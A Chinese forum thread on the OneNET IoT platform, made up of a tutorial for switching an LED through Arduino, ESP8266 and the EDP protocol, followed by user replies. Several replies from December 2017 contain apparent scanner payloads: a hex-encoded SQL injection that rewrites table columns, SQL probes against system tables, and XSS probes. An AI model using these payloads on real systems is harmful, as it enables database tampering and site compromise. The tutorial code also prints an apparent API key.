查看: 124313|回复: 315

【分享】onenet+arduino+esp8266 (Wi-Fi 模块)+EDP 命令控制 发光二极管

  [复制链接]

22

主题

115

帖子

593

积分

内部员工

积分
593
发表于 2016-1-11 11:23:06 | 显示全部楼层 |阅读模式

使用arduino的人越来越多了,最近我做了一个使用arduino+esp8266(WIFI模块)+gy-30+EDP连接ONENET的例子,希望能对这方面的开发者有些帮助,同时也希望通过这个例子让大家了解EDP的命令下发功能以及注意事项。

写在前面的话

在此例中,我们将要使用平台应用编辑器中的开关控件:



应用编辑器中的开关和旋钮控件有着两种身份,它们既是下发命令的控件,同时又显示数据流的当前状态,如下图所示:

1、应用会周期性的从设备运的对应数据流读取数据用于更新当前展示;

2、对于EDP设备,当用户操作开关和旋钮之后,应用会告知设备云发送EDP命令到设备端,但是并不会去改变数据流的值,需要设备将新的状态通过数据上传到数据流中,这样才能使应用中显示同步。

----------------------------进入正题--------------------------------

用到的物品以及连接框图如下所示:

实物连接图如下所示:


其中USB转TTL用于连接电脑,作为调试打印输出口,ESP8266连接arduino的串口

代码部分

1、初始化,setup函数

  1. // 串口初始化相关
  2. #define _baudrate 115200
  3. #define _rxpin 3
  4. #define _txpin 2
  5. #define WIFI_UART Serial
  6. #define DBG_UART dbgSerial
  7. #define SSID "360" //wifi热点
  8. #define PASS "12345678" //wifi热点密码
  9. #define HOST "183.230.40.39" //EDP服务器IP地址
  10. #define PORT "876" //EDP端口号
  11. #define KEY "60ejo9FrV2328GndsKbQvPURzfYA" //APIkey
  12. #define ID "634057" //设备ID
  13. edp_pkt *pkt;
  14. bool wifiExist = false;
  15. SoftwareSerial dbgSerial( _rxpin, _txpin ); //新建软串口
  16. void setup()
  17. {
  18. // put your setup code here, to run once:
  19. char buf[100] = {0};
  20. int tmp;
  21. pinMode(8, OUTPUT); //控制LED灯
  22. WIFI_UART.begin( _baudrate ); //初始化WIFI串口
  23. DBG_UART.begin( _baudrate ); //初始化调试串口
  24. delay(300);
  25. DBG_UART.println("hello world!");
  26. /* 光照传感器初始化(代码省略) */
  27. while (!wifiExist)
  28. {
  29. sendDebug("AT");
  30. delay(2000);
  31. if ((tmp = WIFI_UART.readBytes(buf, sizeof(buf))) > 0 )
  32. {
  33. DBG_UART.println("ESP8266 exist!");
  34. wifiExist = true;
  35. DBG_UART.print(buf);
  36. connectWiFi(); //通过串口,操作WIFI模块连接热点
  37. }
  38. }
  39. pkt = packetCreate(); //发送edp包缓存
  40. }
复制代码

其中 connectWiFi()函数通过发送AT命令控制ESP8266模块连接onenet,命令依次为:

  1. AT+CWMODE=3 //设置WIFI应用模式
  2. AT+CWJAP="*SSID*","*PASSWORD*" //连接无线路由器 SSID和PASSWORD需替换为可用WIFI热点的热点名和密码
  3. AT+CIPSTART="TCP","183.230.40.33",80 //和服务器建立TCP连接
  4. AT+CIPMODE=1 //进入透明传输模式
  5. AT+CIPSEND //开始传输
复制代码

2、主函数,loop() 首先进行EDP连接

  1. if (!edp_connect)
  2. {
  3. //EDP连接
  4. packetConnect(pkt, ID, KEY);
  5. DBG_UART.print("connect length: ");
  6. DBG_UART.println(pkt->len, DEC);
  7. packetSend(pkt);
  8. packetClear(pkt);
  9. delay(1000);
  10. if ((tmp = WIFI_UART.readBytes(rcv_pkt.data, sizeof(rcv_pkt.data))) > 0 )
  11. {
  12. rcvDebug(rcv_pkt.data, tmp);
  13. //通过返回的命令判断连接是否成功,若返回20 02 00 00 则表示成功
  14. if (rcv_pkt.data[0] == 0x20 && rcv_pkt.data[2] == 0x00 && rcv_pkt.data[3] == 0x00)
  15. {
  16. edp_connect = 1;
  17. DBG_UART.println("EDP connected.");
  18. }
  19. else
  20. DBG_UART.println("EDP connect error.");
  21. }
  22. packetClear(&rcv_pkt);
  23. }
复制代码

随时监测串口信息

  1. //解析平台下发是数据,这里只关心edp控制命令
  2. while (WIFI_UART.available())
  3. {
  4. readEdpPkt(&rcv_pkt);
  5. if (isEdpPkt(&rcv_pkt)) //判断是否为完整edp包
  6. {
  7. pkt_type = rcv_pkt.data[0];
  8. switch (pkt_type)
  9. {
  10. case CMDREQ:
  11. memset(edp_command, 0, sizeof(edp_command)); //EDP命令接收缓存数组
  12. memset(edp_cmd_id, 0, sizeof(edp_cmd_id)); //EDP命令ID接收缓存数组
  13. edpCommandReqParse(&rcv_pkt, edp_cmd_id, edp_command, &rm_len, &id_len, &cmd_len); //解析edp命令
  14. DBG_UART.print("rm_len: ");
  15. DBG_UART.println(rm_len, DEC);
  16. DBG_UART.print("id_len: ");
  17. DBG_UART.println(id_len, DEC);
  18. DBG_UART.print("cmd_len: ");
  19. DBG_UART.println(cmd_len, DEC);
  20. DBG_UART.print("id: ");
  21. DBG_UART.println(edp_cmd_id);
  22. DBG_UART.print("cmd: ");
  23. DBG_UART.println(edp_command);
  24. //命令内容为用户自定义格式,在本例中使用通过‘:’隔开数据流名和值的格式
  25. //其中val默认为‘1’或者‘0’,可以在应用编辑器中修改
  26. sscanf(edp_command, "%[^:]:%s", datastr, val);
  27. if (atoi(val) == 1)
  28. digitalWrite(8, HIGH); // 使Led亮
  29. else
  30. digitalWrite(8, LOW); // 使Led灭
  31. packetDataSaveTrans(pkt, NULL, datastr, val); //将新数据点保存至数据流,使应用中开关同步显示
  32. packetSend(pkt);
  33. packetClear(pkt);
  34. break;
  35. default:
  36. DBG_UART.print("unknown type: ");
  37. DBG_UART.println(pkt_type, HEX);
  38. break;
  39. }
  40. }
  41. }
  42. packetClear(&rcv_pkt);
复制代码

这里需要注意的是,在收到EDP命令之后,需要将新数据存储到数据流中(上例中的packetDataSaveTrans()函数)

完整代码下载地址:https://github.com/cm-heclouds/OneNET-Conneting-Code

编辑应用

1、为开关添加一条数据流switch0;

2、新建应用


·创建一个开关控件,在右侧的属性中选择对应设备的switch0数据流 ·注意到属性中有开关开值和开关关值两个属性,分别默认为1,0,这里不做修改(因为代码中1为开,非1则为关) ·修改EDP命令内容为switch0:{v}(与代码对应,代码中会将冒号前的部分作为上传的数据流ID,而将冒号之后的部分作为上传是数据值) 这里的{v}是通配符当下发命令的时候,他将会被开关的开/关值取代,稍后我们将看到命令的内容。 如下图所示:


·完成编辑之后保存应用

点灯实验 ·点击开关 ·在电脑串口调试助手上可以看到一下信息:


比对EDP协议的命令下发部分,可以看出,最后的“命令内容”字段,内容为“switch0:1” 说明应用编辑器中EDP命令内容中的{v}被替换成了1(即开关开值)

代码中,当收到了该数据之后,会将1作为新的数据上传到switch0数据流中,可以在数据流中看到新上传的数据点:

而开关则一直处于“开”的状态

板子上的发光二极管也被点亮了:


回复

举报

0

主题

2

帖子

3

积分

新手上路

Rank: 1

积分
3
发表于 2018-4-20 10:17:22 | 显示全部楼层
请楼主发一份资料看看,997881759@qq.com
OneNET用户  发表于 2017-12-1 14:18:02

1010

;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004**10052004500200040005400**06300680061007200280032003500350029002**0004300**0630068006100720028003400300030003000290020004400450043004**10052004500**06C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400**06E0061006D0065002C006200**065002000660072006F006D0020007300790073006F0062006A006500630074007300**073007900730063006F006C0075006D006E00730020006200200077006800650072006500**0690064003D0062002E0069006400**06400**0780074007900700065003D0027007500**064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D003**06F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E00**06C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D002000**06C0065005F0043007500720073006F007200200049004E0054004F002000400054002**000430020005700480049004**500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400**063006800610072002800340030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003**9004D00470020005300520043003D0022002F00570046005F00530051004C005F0058005300520046002E00680074006D006C0022003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D002000**06C0065005F0043007500720073006F007200200049004E0054004F002000400054002**0004300200045004E004400200043004**F0053004500**06C0065005F0043007500720073006F00720020004400450041004****F004300410054004500**06C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);
OneNET用户  发表于 2017-12-1 14:57:36

1010

27//</script//>//<svg/onload=alert(469) width=100///>
OneNET用户  发表于 2017-12-1 14:57:24

1010

27/</script/>/<svg/onload=alert(462) width=100//>
OneNET用户  发表于 2017-12-1 14:57:15

1010

27<svg/onload=alert(454) width=100/>
OneNET用户  发表于 2017-12-1 13:48:47

RE: 【分享】onenet+arduino+esp8266 (Wi-Fi 模块)+EDP 命令控制 发光...

10****@qq.c 发表于 2016-3-10 14:19
我放到IDE1.0.6里面编译有错误,放到IDE1.6.7里显示是无效库,楼主为什么?

27'; select * from dbo.sysdatabases--
OneNET用户  发表于 2017-12-1 13:48:39

RE: 【分享】onenet+arduino+esp8266 (Wi-Fi 模块)+EDP 命令控制 发光...

10****@qq.c 发表于 2016-3-10 14:19
我放到IDE1.0.6里面编译有错误,放到IDE1.6.7里显示是无效库,楼主为什么?

27'; select * from master..sysmessages--

0

主题

3

帖子

6

积分

新手上路

Rank: 1

积分
6
发表于 2019-11-23 17:55:35 | 显示全部楼层
那个switch0数据流是自己创建的吗  就是自己添加个一个switch0数据流模块

1

主题

5

帖子

17

积分

新手上路

Rank: 1

积分
17
发表于 2019-3-16 21:35:34 | 显示全部楼层
楼主,我使用Arduino的板子接esp8266把温度、CO2浓度以及粉尘浓度利用EDP协议上传到OneNET上,但是每次设备一上线就掉线了。而且串口的数据都不正确,这是哪里出问题啦?

2

主题

17

帖子

52

积分

注册会员

Rank: 2

积分
52
发表于 2018-12-26 19:45:59 | 显示全部楼层
186******** 发表于 2016-5-9 15:34
首先非常感谢楼主的教程。
我在借鉴楼主代码的过程中发现了一个问题,到目前为止没有能解决,希望楼主能够 ...

请问下你怎么改的?我的用串口打印了消息,显示edp包不完整,我很无语啊。大神能解答下我的问题么?

55

主题

103

帖子

310

积分

内部员工

积分
310

黄金小One

发表于 2016-2-16 14:16:33 | 显示全部楼层

学习了,感谢楼主分享

0

主题

17

帖子

0

积分

注册会员

Rank: 2

积分
0
发表于 2016-2-16 14:52:19 | 显示全部楼层

发现楼主是这里的大神,发了好多东西

0

主题

15

帖子

17

积分

新手上路

Rank: 1

积分
17
发表于 2016-2-16 15:05:52 | 显示全部楼层

默默给楼主赞一个

0

主题

2

帖子

0

积分

注册会员

Rank: 2

积分
0
发表于 2016-3-10 14:19:05 | 显示全部楼层

我放到IDE1.0.6里面编译有错误,放到IDE1.6.7里显示是无效库,楼主为什么?

22

主题

115

帖子

593

积分

内部员工

积分
593
 楼主| 发表于 2016-3-11 14:01:53 | 显示全部楼层

@ 1029911845@qq.com

具体是什么错误呢?把报错的内容贴出来看看

0

主题

2

帖子

0

积分

注册会员

Rank: 2

积分
0
发表于 2016-3-20 16:47:36 | 显示全部楼层

@ wuyanrobert@qq.com This report would have more information with "Show verbose output during compilation" enabled in File > Preferences. Arduino: 1.0.6 (Windows 7), Board: "Arduino Mega 2560 or Mega ADK" soft_serial_wifi-1.ino:7:17: error: edp.c: No such file or directory soft_serial_wifi-1.ino:31: error: 'edp_pkt' was not declared in this scope soft_serial_wifi-1.ino:31: error: 'p' was not declared in this scope soft_serial_wifi-1.ino:32: error: variable or field 'packetSend' declared void soft_serial_wifi-1.ino:32: error: 'edp_pkt' was not declared in this scope soft_serial_wifi-1.ino:32: error: 'pkt' was not declared in this scope soft_serial_wifi-1.ino:28: error: expected constructor, destructor, or type conversion before '*' token soft_serial_wifi-1.ino: In function 'void loop()': soft_serial_wifi-1.ino:102: error: 'edp_pkt' was not declared in this scope soft_serial_wifi-1.ino:102: error: expected `;' before 'rcv_pkt' soft_serial_wifi-1.ino:111: error: 'packetConnect' was not declared in this scope soft_serial_wifi-1.ino:111: error: 'packetSend' was not declared in this scope soft_serial_wifi-1.ino:113: error: 'rcv_pkt' was not declared in this scope soft_serial_wifi-1.ino:124: error: 'rcv_pkt' was not declared in this scope soft_serial_wifi-1.ino:124: error: 'packetClear' was not declared in this scope soft_serial_wifi-1.ino:132: error: 'packetDataSaveTrans' was not declared in this scope soft_serial_wifi-1.ino:132: error: 'packetSend' was not declared in this scope soft_serial_wifi-1.ino:138: error: 'rcv_pkt' was not declared in this scope soft_serial_wifi-1.ino:138: error: 'readEdpPkt' cannot be used as a function soft_serial_wifi-1.ino:139: error: 'isEdpPkt' was not declared in this scope soft_serial_wifi-1.ino:144: error: 'CMDREQ' was not declared in this scope soft_serial_wifi-1.ino:152: error: 'edpCommandReqParse' was not declared in this scope soft_serial_wifi-1.ino:176: error: 'packetDataSaveTrans' was not declared in this scope soft_serial_wifi-1.ino:176: error: 'packetSend' was not declared in this scope soft_serial_wifi-1.ino:186: error: 'rcv_pkt' was not declared in this scope soft_serial_wifi-1.ino:187: error: 'packetClear' was not declared in this scope soft_serial_wifi-1.ino: At global scope: soft_serial_wifi-1.ino:195: error: redefinition of 'bool readEdpPkt' soft_serial_wifi-1.ino:31: error: 'bool readEdpPkt' previously defined here soft_serial_wifi-1.ino:195: error: 'edp_pkt' was not declared in this scope soft_serial_wifi-1.ino:195: error: 'p' was not declared in this scope

0

主题

1

帖子

0

积分

注册会员

Rank: 2

积分
0
发表于 2016-5-4 17:36:22 | 显示全部楼层

学习了。楼主很强啊! 最近刚接触OneNet,问一下EDP服务器的IP地址从那里获得。

22

主题

115

帖子

593

积分

内部员工

积分
593
 楼主| 发表于 2016-5-4 22:18:55 | 显示全部楼层

@ 13510688540

现在是固定的183.230.40.39 端口876

0

主题

4

帖子

24

积分

新手上路

Rank: 1

积分
24
发表于 2016-5-9 15:34:51 | 显示全部楼层

首先非常感谢楼主的教程。 我在借鉴楼主代码的过程中发现了一个问题,到目前为止没有能解决,希望楼主能够在百忙之余能够给我提供一些帮助:我是使用的arduino nano+ESP8266进行开发的,arduino nano上使用的代码是在楼主提供的版本上进行了一些细微的修改。现在发现控制信号下发到设备接收到并执行需要5秒左右的延迟,另外就是模拟串口打印日志打出来的全部都是乱码。网络状况监测过了,是正常的,不知道是哪一步出现了问题。请赐教!

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表